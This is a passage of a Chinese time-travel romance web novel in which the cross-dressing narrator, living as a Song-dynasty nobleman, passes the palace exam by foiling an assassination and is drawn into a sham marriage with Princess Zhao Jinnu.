“曹家的荣耀,真的这样重要吗?”我不禁问着,想到曹老爹加上娘的话,我觉得不可思议! “为难你了,又得不能自在几年!”这一次换娘欲言又止了,“荣耀于我毫无意义,可那是我的誓言”,“当年义父曾让我立下重誓,一,嫁入曹家;二,为曹家生儿育女;三,延续曹家的荣耀。如违此誓,如违此誓。。。。。。。” “您会怎样?”我一边愤恨着娘的义父不尽人情,一边追问。 “我到希望是我会怎样!如违誓言。。。。。。我最爱的人会一生被痛苦折磨,永远也得不到解脱!”娘说到这里,哽咽起来。“所以,就当我求你,救救他!救他!”荣耀,竟然比人的幸福还重要!娘是关心爹的,可是这样的誓言,不是反而害了曹家吗? 似乎有哪里不对,娘爱的人难道不是爹?那是谁?师父吗? “夫人,江奶奶。。。。她”婢女跑的匆忙,身上充满了药味。 娘似乎明白是怎么回事了,径直向西厢房冲去。我从没见过娘如此慌张,我也紧紧的跟上。 “不用。。。我不喝这些药,都给我出去。。。。。。”师叔江琦月的喊声混杂着碗摔碎的声音,下人们被逼到了门口,不敢上前也不敢离开。 “都下去吧!”娘尽力稳定着情绪,命令众人退去。我走进屋中看到了床上的人,我几乎已经认不出!江绮月,那个盛气凌人的女侠,如今消瘦憔悴如同风中残蝶。娘后来告诉我,绮月师叔本想伊帝功的反噬都引到自己身上,结果不到未能救得了谦月,反倒让她自己也大伤了,因为不想让叶心担心,就离开了。叶心不放心,就找了出去,人倒是找到了,却孱弱的要命,而且,也是这段时间让芊寻和谦月遭遇了那些事。两人更是自责,江绮月每日昏沉的时间很长,叶心便强把她留下来。 咳嗽使她颤抖不已,似乎随时会倒下去,便再也不会醒来。我想,她不想我们看到她的样子。 “绮月,你别动气,快把药喝了!”娘端起桌上的药,她似乎知道绮月会不好好喝药,她每次都命人准备十碗,就算打破了,只要能喝下一碗也好。江绮月还是不喝,她推开了娘的手臂。 僵持了很久,娘站直身子,望着她,她也看着娘,眼神很复杂。“你后悔吗?” “我不会让你死!”娘拉过她挣扎的手臂,“你不是要折磨我吗?那就好好活着!那样你就能折磨我一辈子了,不是吗?绮月!” 娘突然将药喝下,俯身吻上了江绮月。。。。。。 52、抱佛脚 等我反应过来时,画面定格在深情的吻!师叔眼睛渐渐地闭了起来。我能理解娘也许是为了喂药给她,可是她们在一起的画面实在太美好了,其实娘她们也不过三十多岁而已,正是两个御姐恋的完美构成元素。我是不是yy的有点不合时宜!原谅我,有点百合控! 江绮月因为服了药,很快便睡熟,她的呼吸平顺了很多。 “师姐,不要丢下我,你不要月儿了吗?师姐。。师姐!”她轻轻地唤着,似乎坠入了噩梦之中。娘轻轻地握着她的手,终于让她又一次平静了下来。 许久,娘用手势示意我们离开。再次回到庭院中,我的心里已经翻江倒海。 “娘,您最爱的人,是爹,还是。。。”江绮月?我没有讲完,可是我的心里觉得猜到了大概。回想起过往,她们彼此间的眼神,一个怨,一个悔!江绮月似乎不遗余力的保护着谦月,偏执的宁可让芊寻心碎,伤害着她的师姐也伤着自己。她的眼或许冰冷,可是视线从未离开过一个人,那就是她的师姐——叶心。 娘笑了,笑的有点害羞,可是随即又苦涩起来。“她,怕是一辈子都会怨我吧!”娘望着月,幽幽的叹了一口气。“我好想再看一次她笑,好想再看到那个在崆山上整天围着我跑的女孩儿。也许一辈子也不会看到了!但我还是想她好好的。” “娘!”我想说,江绮月一定是爱你的,无论是过往的画面,还是刚刚我在她房中看到的她随身带的旧香囊,上面绣着:嫦娥应悔偷灵药,碧海青天夜夜心!你是她心上唯一的人,伤害你同样也在煎熬着她! 再一次看着娘,不,叶心,因为她的爱情,让我觉得,我更该以一个女人的身份来看待她。其实我一直娘呀,娘啊的叫着她们,我错了!我忘记了,她们更像是我的姐姐,温婉善良的姐姐,(倪飞24岁,叶心35岁,江绮月33岁,确是大姐姐的年龄)当年,她的义父知道了她的心事,便以养育之恩逼她立誓。为了心爱的人,她嫁了不爱的人。可是她的孩子名字,为什么是“梦牵绮月”呢?结果可是无论怎样的理由,江绮月也放不下她,她要存在在她身边。她们深爱着彼此,心中对于爱的执念却变成永远也治愈不了的伤害。 哎,如果曹家的荣耀就是她们的幸福!那么我应该帮助她们。 “好,我一定尽力,”我向娘保证,我会尽力,虽然我不能左右结果,也不一定会有结果,可是我尊重她们的故事,她曾不说也不问的就给我慈爱。我得回报眼前这个善良的人。 “月儿,为难你了。”娘轻轻地抚着我的头发,“但是你放心,我会请夫子帮你!” 这件事大致说定,我便送娘回去休息。 回房的路上,我觉得自己刚刚答应的事关系到我和芊寻的未来。一个人就答应了,我死定了!我和谦月也许都有妻管严的潜质吧!其实,如非在乎,怎会怕伤害呢?我得赶快去找芊寻解释。 “芊寻,我刚刚。。。”我推开门,看到芊寻在摆弄着一些红色的花草,见我来了,忙将它们藏于背后,这是下意识的动作,她在干嘛呀?神神秘秘的。 “月儿,你还没有休息吗?”芊寻似乎惊魂未定的问着,很少见她慌神。 “在干嘛?”我走过去,想绕到她身后,她却随着我的身体而转动,不让我看清楚。 “秘密!”芊寻笑着说,却很坚定。看来是不打算给我看了,好吧!‘夫妻’之间应该互相尊重,我也不能强求,日后总会知道的! “芊寻,我要去参加殿试,也许能考个官,到时又要劳心劳力,不自由了。你愿意吗?”我越想越没底气,话也弱了下去。 “很好呀,到时如果能去个天高皇帝远的地方,岂不自在。我们一定能爱民如子,为民做主的,那样也很有趣!”芊寻见我囧囧的样子,不禁笑了,畅想了美好的未来。“最重要的是,能和你在一起!” 嗯,在一起,就是这感觉,心里泛起温暖的泡泡。 本来想留下和芊寻一起睡的,告诉她叶心和江绮月的故事,可是她说旅途劳累应该好好休息,就把我推了出去。%>_<% 也好,我要养足精神迎接中国历史上最残酷的考试了。 “曹公子,所剩时间已不多,是不是该起来读书了!”好清冷的声音,梦中的声音竟然冰的我打了个哆嗦,惊醒。一定是考试压力太大了,呵呵!oh,no这不是梦吗?我床前为何会站着一个素衣女子,她环着臂冷冷的看着我,还不是我认识的亲属好吧!在礼数如此森严的宋代,闯进男子的寝室,你还真是有纲!在我迟疑这是否是梦还没有醒的时候,她索性掀了我的被子。一阵寒意,让我清醒了。 我在她零下1°的眼光里,哆嗦的穿好了衣服,向她作揖。 “免了,先写一篇文章,我看过再想办法。”她的语气没有过多的起伏变化。“可以借助书籍。”开卷!真是太好了。。。。。个p呀!这些字,他们认识我,我不认识他们呀! “请问夫子,我还有多久考试,”我翻着那些繁体字的线装本,目光呆滞瞳孔都快扩散了,我终于有了那种七天憋出六个字的痛苦感觉。 “五天,”冰冷幽然,“其中有两天要赶路去京城。”纳尼?也就是还有三天?这不是人能办到的,虽然在大学时我也是考试的突击党,我深深的理解那种苦逼的岁月。一到期末,走廊里寝室里总会涌现出各种大神,盘腿打坐背题的,制作小抄的,灯火通明日以继夜,真是八仙过海,各显神通!现在想起还真是怀念那些日子,那些人! 可是当我望着眼前堆积如山的书时,我绝望了,这次不一样,我怎么和寒窗苦读十年的人pk? 半响,我将写好的文章交给了她,我自己都不知道自己再写些什么。屏息看着她,看她会有什么样的评价,什么样的表情。noting!她轻轻地放下我的卷子,然后从袖中取出一个小盒子递给我。难道是奖励,我赶忙打开,只见里面躺着一把小巧的匕首!我不解,看看她,想得到答案。 “圣上如果看了你的文章,恐怕会觉得玷污龙目而灭你满门。我看你还是自行了断,免得到时累及家人!”她笑着说,是的她笑了,却更冷。 “没这么差吧,”我抄的都是好词好句呀。 “陈词滥调,倒也没什么,不可原谅的是你的字,皇上看不得!”是丑了点。(字不好的伤不起orz) “月儿,喝点汤吧!”芊寻突然到来,此刻我已经被夫子弄得快要哭了。 “月儿,怎么了,读书辛苦?快喝了这猪脑汤!”芊寻见到我的脸色灰白,忙贴贴我的额头,关切的说道。我接过汤一边喝着,一边靠向芊寻身边求安慰。。。。。 “呵呵,以形补形啊!”夫子笑了笑,站了起来,我一时着急,难道她嫌弃我,跑路了!忙叫了声夫子。她没有回头,只是说了句,“不想放弃就跟来!” 兜兜转转,我们来到了集市,在一个茶寮坐定,正对着的地方有一个卦摊。正在想着,走过来三个魁梧的青年人,“晚生三人欲进京考武举,可否请先生帮我们卜一卜?”那位半仙非常从容举起食指,接着道,“天机不可泄露,只能言尽于此”三人看着,先是一愣,各自沉吟了一下,而后,纷纷笑了。痛快的付了钱,道谢赶路了! “明白了吗?”夫子喝了一口茶,微微的热气和问题吐出。 “什么,”我该明白什么,我又不会算命。夫子白了我一眼,举起了食指。 “有一个能中举的?”我试探着问。 “何止这一个意思,可以是一个中举;一个没中;一个都没中;没有一个没中。”语速均匀缓慢。听完,我才觉得那大仙有才。合着怎么都有话说! 续了三碗茶,夫子起身,我颠颠跟上。 “算命,就是见人说人话,见鬼说鬼话!华美的辞藻,真诚的话语,都不是人最爱听的;人最爱听的只是自己想听的话。”夫子似是自言自语,一边说着,一边在书房中找到一本书拍给我,“背熟!” 接下来的三天里,我开始了单调的生活,天天就是背背背背背xn(╯-_-)╯╧╧。夫子虽然和我在一个书房,不过她完全不鸟我,自顾自的练字写诗。芊寻可能是怕打扰我,只有送汤时才出现。。。。。。。 傍晚,随着夕阳的消逝,我终于合上了被我翻烂的备考宝典。转向夫子,她依旧在创作中,认真的样子看起来没有那么冰冷了,而是给人一种淡然的感觉。我好奇的走过去,想看看她到底能写出怎样的诗词,其实我并不知道她的才学如何,只是感到她一直很冷静,很客观,似乎能将天地万物看透,只能说这是个睿智的女人。 “怎么,你也觉得这个‘瘦’字,我用的不好?”夫子看着我,我脸上一定是惊愕的表情。 “好,‘莫道不销魂,帘卷西风,人比黄花瘦’,这个瘦字,很好,很棒!最棒!!”我一时不知怎么表达,她是我最喜欢的词人,易安居士。 “不会觉得怪吗?”她认真的问着,“他们总是说,我不该总写这些的!” “不怪,这就是您的特点,!”我突然明白,为何她能写出那样婉约的词句,只是因为她的心灵如此空灵通透,洞悉世事,道出了别人无法道出的心情。这真是一份时空错位的收获,我很激动。“夫子的词,一定能够流传的更远更久,它会影响很多很多人!”我笃定的说着。 “哦,你这么说,我也不会开心的!”在她一袭苍白的脸上,居然闪过一丝红晕,果然呀,大才女都是傲娇的。 “最后你记住一点,到时就算不能考个好的成绩,之少能救你一命,”夫子突然正色道,能救我一命?我忙俯首恭听,“那就是。。。。。。。” 53、殿前扬威 “那就是.....”夫子压低了声调,我马上靠前,俯首倾听。“一个字也别写!” 这个建议真是好到差点让我跌倒在地,我不是要碰瓷,真是太雷人了。交白卷就不会被皇上k死吗? 次日清晨,送别了夫子,我也踏上了去京城的马车。二娘还未康复,娘不能离开太久,芊寻虽然不想让我一个人,可是帮忙诊治积伤成疾的二娘。加之,进京赶考最多只需十日便可回来,而且除了曹老爷,大家对我的要求就是只要没有差到被皇上治罪,平安落榜就好。所以,就算是分别也只是数日。十天而已,马车里的我想着:这次回来了,就该好好的和芊寻在一起,安安稳稳的侍奉娘和二娘,就算是碌碌无为,但只要一家人平平淡淡的过日子就好。我相信,芊寻的心意和我是一样的。。。。。。。 在我看不到的药房里,昏暗的火光中,药炉里粉红色的液体在翻动,映着芊寻白皙而单纯的脸庞,“月儿,这便是我们来日的希望”。 希望、愿望,如果能实现该有多好。 可是人的际遇,怎么会由人说了算,我们想的都太过单纯而简单了。。。。。。 大殿之上,展开试卷,我就有想撕卷子的冲动。考的内容是治国之论,计时的香在袅袅燃烧,而我的内心是绝望的,我不知道如何能在一个字不写的情况下平安度过。 “护驾,快来人”一个尖细的男声传来,“有刺客!救驾” 寻声望去,御座之上身穿绛红色袍子的皇帝正拉过一位太监挡剑,太监在花容失色地呼唤着大家救驾,而行刺者正是一位宫娥。“当啷”一声,宫娥手中的剑被我掷出的笔架山打断。似乎是师傅为我打通了右臂的三焦玄关,我的右手臂膂力过人,虽是一块瓷的物件,高速投出竟也有了子弹般的效力,这种能力最早是在山上和瑚儿遇到毒蛇时体现出来的,如今又派上了用场。人有的时候手比脑子快,刚刚的动作我是情急之下,下意识完成的,后来想想,如果我当时投偏了,砸到了皇上的话,那历史就改变了吧,我也会被满门抄斩,故事就完结了。 见宫娥还在攻击皇上,我不得不胡乱抓起桌上的文具,一边向她掷去一边靠近,不过这时的我心中难免有了投鼠忌器的感觉,尽量往宫娥腿上偏。在距离他们约还有不到五步远的距离,我击中了刺客的右腿,她回头看向我,眼睛不禁睁大,扑了过来,看样子是要攻击我,可是就在要接近我的时候,她嘴中嘟囔了一句我听不懂的话语,她用手中的短刀向我刺来,“呲”划破了我左肋下的衣服,但是被天蚕丝甲挡住,并不能伤我。就在我们纠缠之时,受伤的刺客回首将短刀掷向皇上,可是此时的皇上已经在侍卫的保护圈中,此乃无效攻击。 很快禁卫军将我们围住,拿下了刺客。刺客被压住跪下,口中居然喊着“昏君,你该死”这声音分明是个男声,若是不出声,还真难相信这身段婀娜的宫娥竟然是个男刺客。 “先押去天牢,好好审!”不待皇上下令,旁边的一位略年轻于皇上的男子贵族便做好了安排。“考试继续” “时辰已到”陛下突然开口打断,“救驾者何人,你的卷子可是被朕给毁了?” “微臣,洛州曹晟”被点名了┌(。Д。)┐要是刚刚把卷子撇过去就好了,我真后悔,真的!!!!现在也只得走一步算一步了。 可是刚刚的贵族忙冲到我的座位上拿起我的卷子就颠颠的给皇上呈了上去,皇上看了一眼,眨了下眼睛,似乎是开始怀疑人生了,随即又靠近看了看,我觉得此时皇上脸上的表情就和暴走漫画里的一个样(?`?Д?′)!! “无字天书?!”皇上呢喃着。 “大胆,你敢欺君!”男贵族,厉声说道。“来人,拿下” “偲弟且慢”皇上又一次制止了贵族——越王,“你是曹督军家的孩子吧!你今日救驾有功,朕本想着看看你的才学如何,好追加封赏,可你的治国之论。。。。。。朕”确实救驾之功非常大,可殿试也是国家大事,就算我是去救驾耽误了时辰,在行刺发生之时,考试时间其实已经所剩无几,很多考生已经作答完毕了。 “臣斗胆,回禀陛下,微臣的治国之论便是——无为”算了,好歹我也救了你,我相信只要不是太顶撞皇上,就算没有奖赏,平安回家也是没问题的。接下来,我便开始了我的表演,我回忆着这几天背的《道德经》,一本正经的开始胡说八道,总之一句话:各位考生,你门有才华,可我——会拍马p呀!世间最好的话就是人家想听的话!! “好,好一句:不以智治国,国之福。”皇帝的眉眼都展开了“无为才能无不为,哈哈哈,知我教主道君皇帝者,晟儿也,实乃状元之才,哈哈哈”,看着开心到飞起皇帝,我额头的冷汗渐渐褪去,多亏了夫子了解皇帝最喜欢道家思想。天下人皆觉得他的统治方式不好,可是他根本没打算改,这无为而治的思想最是得他欢喜,至少他自己能为自己找个借口吧。 “曹晟上前听封”皇上笑着唤我上前。 “圣上三思”越王叒阻止了一下,“纵然曹晟救驾有功,可是文试乃为国家取材,他的治国之论虽然精彩,可终是空口开河”说着他靠近陛下“皇兄,他毕竟一个字未写,要真定了状元,恐怕会被番邦笑话我们中原大国现在只会吹牛,不重文治,有辱斯文”说着他躬身作揖“望陛下三思”。 我可不想要什么,你们快让我走吧!我的内心在翻滚,想尽快离开这个是非之地。因为仅仅是刚刚发生的一切,就让我隐隐的觉得,这里人做的每一个决定,都是各个势力在斗争斡旋的结果。 “偲弟说的也有道理,科举本意就是为国取材,若得贤才,自可不必拘泥固执”道君皇帝说着,捋了捋自己的胡须“这样,刚刚你救驾时所展现的身手非凡,不愧是将门之后,所谈治论也很恰当,想来曹家与我皇室曾为亲家,朕实在得好好赏你才行”圣上捋胡须again,“传朕旨意,洛州曹晟,先慈圣光献皇后曹氏将门之后,救驾有功,文武双全,特典为今年武举头榜第三,封为京畿左卫军统领”。 啥?我是参加文试的好不啦!后来,我在懵逼的状态下,伴着满朝大部分文武官员比较明显的嫌弃眼神,旁听了文试殿试的结果。 万万没想到,我在参加文科殿试的时候居然中了武探花。陛下您真是任性的可爱! 家里已经收到了我高中的喜讯,回信里芊寻说,娘让我先把京城老宅整理好,过阵子等二娘身体好些,就动身前来与我团聚,话语中虽然温暖依旧,却略带犹豫。是呀,本来以为就算是中了举,也要等吏部分配,不但要等很久才能封官,而且能在京做官的概率也及其低。没想到皇上给我一步到位了。如今,走是走不了了,可是在京城就要面对大哥——曹冕。他也在京城为官,芊寻若来了,我们之间该如何解决。 想来,我在宋代的每一步都算是奇遇,虽然每一次都能化险为夷,但是都好像是悲喜交加,一波赞平,总有新的烦恼、隐忧掺杂在未来的生活里。 其实,何止是宋代,谁的人生不是如此,总有风雨后的彩虹,也总有未来的雨天在等着你。我们能做的,只有走下去。 带着烦乱的心情,简单梳洗更衣。今日,皇上要宴请科举三甲,当然还有我这诡异的编外武举探花郎。御花园里,流觞曲水,百花缭绕,大家行着酒令,陛下将新折的花插在我们几人头上。低度的佳酿,暂时麻去我的烦恼,也麻痹了我的神经,我没有留意到,皇上欲言又止样子。不能贪杯了,喝得多了,难免惹祸,借口解手,我便打算溜出来透透气。 上完厕所,我在回去的路上放慢了脚步,深深的呼吸了一口杏花林里的空气,“探花郎请跟我来”,一位和我年纪相仿贵妇模样的人唤住我,看她穿着不俗,应该不会对我不利吧。果然啊,我so天真了!很多事实证明,我tm真不适合在上流社会混,坑太多。 “二少爷忘了我了吗?”年轻夫人在一个门前突然问起,“您和雪姑娘可和好了?” 谁?她是谁?我怎么会记得,谦月以前的故人。 不等我作答。扑通一下,我被推入一个房间,门被她从外锁住。我正要回身拉门,身后却传来了,一个悠悠的女声。“探花郎莫慌,我不会害你”。转身望去,一位端庄美丽的年轻女子坐在屋内的榻上,衣着素雅却大气。 “你是谁?”我看向她,她肤色很白,看起来虽然只有20出头,但是气场起码三米八,很是稳重。“要我做什么?”端详了一会,我明白,以她的样貌和衣着,对我既不可能劫财、也不可能劫色。那就只有一种可能,有事让我做! 此时窗外渐渐传来了皇帝众人的声音,感觉不用一两分钟,他们便会来到这里,而她从容的解开了衣领。“欺辱帝姬的结果会怎么样?曹探花想知道吗?”窗外众人的声音越来越近。。。。。。我的大脑如同眼中看到的她如玉的肌肤一般,一片空白。 “娶我,做荣德帝姬的驸马,这是帮我也是救你”她淡淡的说着。。。。。。 54、驸马1.0 “娶我,做荣德帝姬的驸马,这是帮我也是救你”她淡淡的说着,继续宽衣,而皇帝的声音似乎就近在窗外。“貌似来不及吧!”我下意识的说。“想得美,我是让你求亲娶我,没说让你现下要我”赵金奴无奈的说道,并且给了我一个白眼。 “公主殿下,您是金枝玉叶,何苦这样”我有点着急的说,这位小姐姐抽什么风了。“再说,我一介武夫,怎么配得上公主殿下!” “你现在出门求亲,爹爹自会答应”公主说着停了动作,轻声说“狄远,开门吧” 门还真开了,门外的女子,拱手而立。狄远!!!谦月当年的贴身婢女!我记得谦月的手记里,当年她为让芊寻死心,曾经故意让她看到自己和狄远假装“滚床单”,芊寻当时心碎不已,可是随后谦月又假装生气的赶走了狄远,在一个下雨的夜晚,狄远只在匆忙中穿了件内衬薄衣,就被赶出了曹家,虽是奴婢,难道就没有心吗?谦月描写的笔触真实,让我感到了那个夜晚三个人的悲怆。但是狄远也许不知道,自幼一起长大的谦月,明白她对自己情感,命不久矣,她不想让任何人对自己心有挂碍。而且,秀安僖王赵子偁曾多次向谦月请求,将狄远嫁给自己,这对狄远来说,是个好归宿吧!后来知道,狄远确实嫁给了皇亲国戚,赵子偁对她疼爱有加! 狄远还会恨谦月吗?“二少爷,陛下快过来了,您可去禀告”向门外走去的我,再一次扫过了狄远,她依旧坚毅、英气的脸庞,华丽的衣着,气色也很好,看来过得很幸福。 不待多想,我没走两步便遇到了圣驾。“探花郎,跑这里来了”皇上微醺笑道,“朕,要再罚你三杯”。 “爹爹,您要罚他,女儿可不依了”公主殿下的声音传来,回头望去,衣冠整齐,已经没有了刚刚宽衣的痕迹。 “哦,探花郎好福气呀,居然得到我女金奴的袒护”皇帝意味深长的看着我们二人。 “爹爹,刚刚女儿游园至此,不慎扭伤了脚,还多亏了探花郎帮忙,虽只是寥寥数语”,赵金奴上前挽着皇帝,后面的话语她靠近皇帝耳边说的,距离不远不近,我只听到了“红鸾。。。。。”什么的。 “当真!”皇上惊奇失声,看向了我“探花郎真是赏花之才,你们想何时成婚?” “臣唯恐配不上帝姬殿下”我忙跪下推辞。“恩,年龄上,曹探花似乎尚且不够成熟,恐不能照顾帝姬周全吧”一旁的越王认真的说道。 “诶,只要情真意切,年龄不是问题,身份不是障碍。民间不是有句俗话,女大三抱金砖嘛!!”皇帝这么一说,有些大臣也开始符合。“事不宜迟,三日后大婚吧!” 这么快,我一句话都没说o(╥﹏╥)o!就被订婚了。你们父女俩为了啥,就这么愉快的决定了!而且,三天之后就举行大婚典礼,这是不是不够顾及你们的封建传统,连三书六礼都来不及过聘。 “怎么,你还觉得委屈呢?”赵金奴抿了一口茶,“我不是说了,也是在救你!”皇帝众人识趣的离开,留下“一见钟情”的我们,在她宫中培养增进感情。 “我本来何险之有?”我叹了口气,心里想着,我该如何向芊寻交代,我该怎么逃呢? “你以为刚刚我们被人撞破,才可怕吗?”赵金奴看向了我,眼神中透露着无比的淡定,还有不符合年龄的成熟世故。“调又戈帝姬最多也就你个人之祸,而你曹家的生死才是大事吧!”放下茶杯,她的话勾回了我的思绪。曹家大祸? “我大宋的军队是如何布防的,你可记得?”赵金奴站起身来缓缓走到门口,看着庭前的桃花,飘落在池中。 强干弱枝!我突然想起那些年上过的历史课。宋朝为了防止地方武将割据,将一半的军事力量留在京城,一半的兵力分散在各地。 “京畿卫军直接统领京城禁军,你大哥是右卫,前些日子,你又成了左卫”赵金奴没有转身,依旧在看花,慵懒不惊的说道“大宋天下,岂不半入曹家之手!” 纵然是心腹,也有成为心腹大患的一天,何况是外臣。现在想来,殿前的册封果然是祸事。难怪今日皇上总是欲言又止,似有优思,合着是想反悔呀。 “我如果现在和皇上说,自己身有顽疾,不适统兵,还来得及吗?”虽说做驸马,是自古剥削武将兵权最有效的办法,但如果我请辞也还可以亡羊补牢吧。我恍然大悟的问着赵金奴女士。 “可以呀,父皇已经擢升你为驸马左都尉,以后你想统兵恐怕也难了,只是。。。。。。”赵金奴转过身来,“我需要驸马成婚,听狄远说你是最合适的人选!探花郎,你可别对奴家始乱终弃哟”她居然露出了圣母般的笑容,我甚至看到了她自带的特效小星星。 “最合适?”我不禁反问道。 “你我都心有所属,不是假成婚的最佳人选,是什么?”赵金奴依旧笑颜如白莲花,“你我成婚后,也可以自由自在,各玩各的,岂不快活!” 出宫回府的路上,我从坊间听闻,原来最近几日南边大理、东北的金国还有西夏不约而同来求亲,朝中年龄最长的未婚的帝姬就是荣德帝姬赵金奴了,她向来性格冷傲,对谁都爱答不理,所以迟迟没有成婚。不过今日听说,她终于觅得如意郎君,不日就将出嫁了。如果昨天听到这些,我会当成花边新闻去打听乐呵乐呵,可是现在变成如意郎君的我,已经快哭了。老赵家,我服了你们。老爷子前脚封赏,后脚就反悔,借着大龄女儿的鬼心思,强买强卖。赵金奴,找了我这个“心有所属”冤大头当挡箭牌,你就良心可安了? 回府后第一时间,飞鸽传书给芊寻,告知我和公主只是假成亲的真相。毕竟,三天时间太过仓促,芊寻就是赶来,我们一时间也无法破解现下的困局。 洞房花烛夜,本是人一辈子就开心、珍贵的时刻,我却觉得呼吸都憋得慌。皇帝女儿不愁嫁,皇帝女婿不好当。也许是为了能委婉的拒绝外邦求亲,皇帝一口气一天之内嫁了五个女儿,五大帝姬同日成婚,真是盛况空前,锣鼓喧天、鞭炮齐鸣,场面那是相当的壮观。婚礼筹备时间虽然短暂,当然我与赵金奴的时间是最紧迫的,但这是国家大典,自有礼部操办。这几日,我们几个驸马就是聚在一堆,开始接受培训,如何在成婚当日表现得体,说白了,驸马就是古代的金饭桶软饭王,我们未来都将不再可能建功立业,有什么大的作为,不只要循规蹈矩,做好皇家的代言人,还得非常谨慎、细心地哄好公主老婆大人,否则随时有可能被休掉! 荣德帝姬是道君皇帝与发妻王皇后的长女,自然深得皇帝宠爱,要不怎么会由着她一直不成婚当大龄黄金圣斗士。其实,皇帝早在几年前就为赵金奴在京城繁华地段建好了帝姬府邸,现下她终于想成婚了,不管是不是为了躲避远嫁他国,也总算对得起死去的妻子了,了了夫妇二人的心愿。 花烛映得红彤彤的婚房更加通红,最怕空气突然安静,我们本就不熟悉,算起来,今日也就才见了第二面。纵然是假夫妻,额,假妻妻╮(╯▽╰)╭,我还是觉得挺闹心。 “帮我把盖头挑开吧”赵金奴打破了安静,多少大家还都是迷信的,自己揭盖头不吉利。算了,举手之劳吧!“合卺酒就免了,我有些倦了,你今晚就睡在旁边榻上吧”虽是命令,但我倒是挺乐意的,放下秤杆,转身向北。却被她抓住了手,来不及反应就见一道银光闪过,疼!手指被她用匕首割破,随即她取出洁白的喜帕,将一抹殷红按了上去。 您可真是会利用我的每一个点滴呀!忍着疼,抽回手指,自认倒霉吧,也许这只是开始!哎! “不好了,走水了!帝姬府走水了,快来救火呀~~~”外面突然喧闹起来,敲锣打鼓声骤然响起,难怪刚刚就觉得屋里热得慌,合着不是心情憋闷,而是自然环境如此。 好端端的怎么失火了呢?我忙转身打开窗,外面可以说是火光冲天,火势不小,好在还没有蔓延至此。 “小祸头子回来了”我查看火势的时候,赵金奴恍然大悟道。 “有人纵火!?”说起纵火,我倒是也想起了一个人来。智取生辰纲前夜,以善用火攻自诩,沾沾自喜的人。。。。。。想多了吧! “不管如何,我们还是赶快逃出去比较好!”逃生的想法待会了我的胡乱思绪,我回到床前,想拉着赵金奴往外跑。 “登徒子,休要欺负我家姐”刚刚拉住赵金奴的手臂,就听得身后厉声传来。。。。。。 55、小姨子的温柔陷阱 “登徒子,别碰我家姐”厉声传来,我回头看去,居然真的是我想到的那个人,瑚儿!!她正攥着拳头向我这边扑来,即便已经认出是我,但是由于惯性,想要收住了力气已经来不及了,“咚”的一声,我被推到了床沿上,大概是脸部着地吧,随即我眼前看到了些许小星星。 迷迷糊糊中,嘈杂的救火声渐渐远,我们应该已经被带到了安全的地方。“瑚儿,你这是要作甚?”赵金奴的声音依然没有什么情绪,但是从字面的意思来说,应该是略带责备的质问。 “还不是因为二姐你突然大婚,你不是说过人一定要和心爱的人相守一辈子吗?”瑚儿拉起赵金奴的手臂轻轻的摇晃,“你们相遇不过几日,我想要不是迫于外邦求亲,二姐一定不会轻易答应成婚,我怕你遭遇歹人会吃亏,所以就连夜赶回来。”瑚儿话语真挚,“自幼都是二姐护着我,现在我当然要保护二姐”。 看着眼前的傻妹妹,赵二姐无奈的说“保护我,就烧了我的府邸?!再说”赵金奴微微叹了口气,用手指向了我,“你觉得他会是歹人吗?”四双目光终于回到了我的身上,此刻我刚刚擦拭干净因为脸部撞击而留下的鼻血,我相信月光下的我,一定是一副人畜无害(窝囊o(╥﹏╥)o)的模样。 赵金奴举起手时手里还刚好拿着,我们在洞房了合力制作的染血喜帕,冷语敷在瑚儿耳边说着什么。“我们来晚了!”瑚儿的脸从懵懂到渐渐红晕,其实以她的年纪应该过不了一两年,宫里的大妈妈们就该教她这些了,不过今晚冷语就给她简单的科普了一下。 “好哇,曹谦月,你这样对得起谁?”瑚儿脸上的红色还未褪去,带着怒色抓起我的手臂,开始拼命的摇晃。此刻,我真的觉得我最对不起的就是我的鼻子,刚刚止住的鼻血,又一次被剧烈的震动召唤出来。“你听我解释”我颤抖着说,但是她手上的力道并没有减少。无奈的我抢过瑚儿的手帕,擦了一下鼻子,然后展示给她看,“虽然位置不同,但是都是我的血,那条喜帕上的也是”得救了o(* ̄▽ ̄*)o “哦,你们这是。。。。”瑚儿如梦方醒的叫道。 折腾了大半宿,帝姬府的火终于被扑灭了,所幸没有人员伤亡,当然这遗址也不能住人了,无奈,我们众人来到了娘在京城老宅——万福园,在里面的南柯苑里有三间上房,朝东南的给二公主住,朝西南的给瑚儿住,朝南那间暂时空着,冷岩冷语住在其他苑里。那么问题来了,我住在哪里呢?新婚燕尔的我,当然是和我亲爱的——小姨子一起住了!惊不惊喜!(╯‵□′)╯︵┻━┻ “我要看着你,以免你和我二姐朝夕相处,情难自禁的作出伤害我二姐还有对不起芊寻嫂子的事!”,这道理,我竟然无法反驳。瑚儿说的笃定,赵金奴答应的痛快,似乎这是一件很自然的事情。 “我们这叫形婚!”躺在躺椅上的我,被瑚儿追问折磨的给她讲故事,首先普及一下,什么叫形婚,还有我和她姐的“浪漫”故事。瑚儿也给我说了她在坊间听到的我这个驸马的事。在民间的传说里,我俨然已经变成了一个色中饿鬼加登徒浪子,在后花园调又戈公主,诱骗帝姬私定终身,野心勃勃倒插门入皇家,企图颠覆朝政等等布拉布拉布拉啦,我去,这网络暴力呀!越传越邪乎。所以瑚儿连夜急着回来,希望拯救她“可怜”的二姐,以及大宋朝政。不知道说了多久,她的声音消失了,呼吸声有节奏的响起,谢天谢地,这小祸头子总算睡着了。这样讲着故事哄她睡觉的经历,让我想到了以前一起冒险的岁月,也想到了,芊寻和谦月。我来大宋也快一年了吧!我究竟都在干些什么!?胡乱的思绪终抵不过劳累和睡意,我的大脑也渐渐地空白起来。。。。。。 醒来时,说是日晒三竿也不为过,瑚儿已经不在屋内了。我来到院里,看到对面的门开着,赵金奴正在里面的吃午膳。“起来了!”赵金奴放下筷子,示意我坐下,“瑚儿一早就进宫给父皇请安去了,你也吃一点吧!”。桌上有六个小菜,蛮精致的,上次吃饭还是一天半以前,昨晚又折腾了大半夜,我现在真的挺饿的。而且现在园里上上下下都是她说了算,如果她不下令,我还真找不到人给我做饭了。想着,我捧起一小碗饭,也加入了她的午膳。 “姐,我回来了”还没吃两口,瑚儿的声音欢快的破门而入,午后的阳光似乎也随着她进入屋内,瑚儿一身淡蓝色的衣裙,简单挽起的头发上插着一根玉钗,给人的感觉纯净而清爽。“爹爹同意我在这多陪陪姐姐了”一边说着靠在金奴身上,一边用手拿起一根炸春卷吃起来。从她们的对话中,我听出,皇帝应该是猜到瑚儿做了什么,不过既然是她做的,那这都不是事,当然是选择原谅她啊! 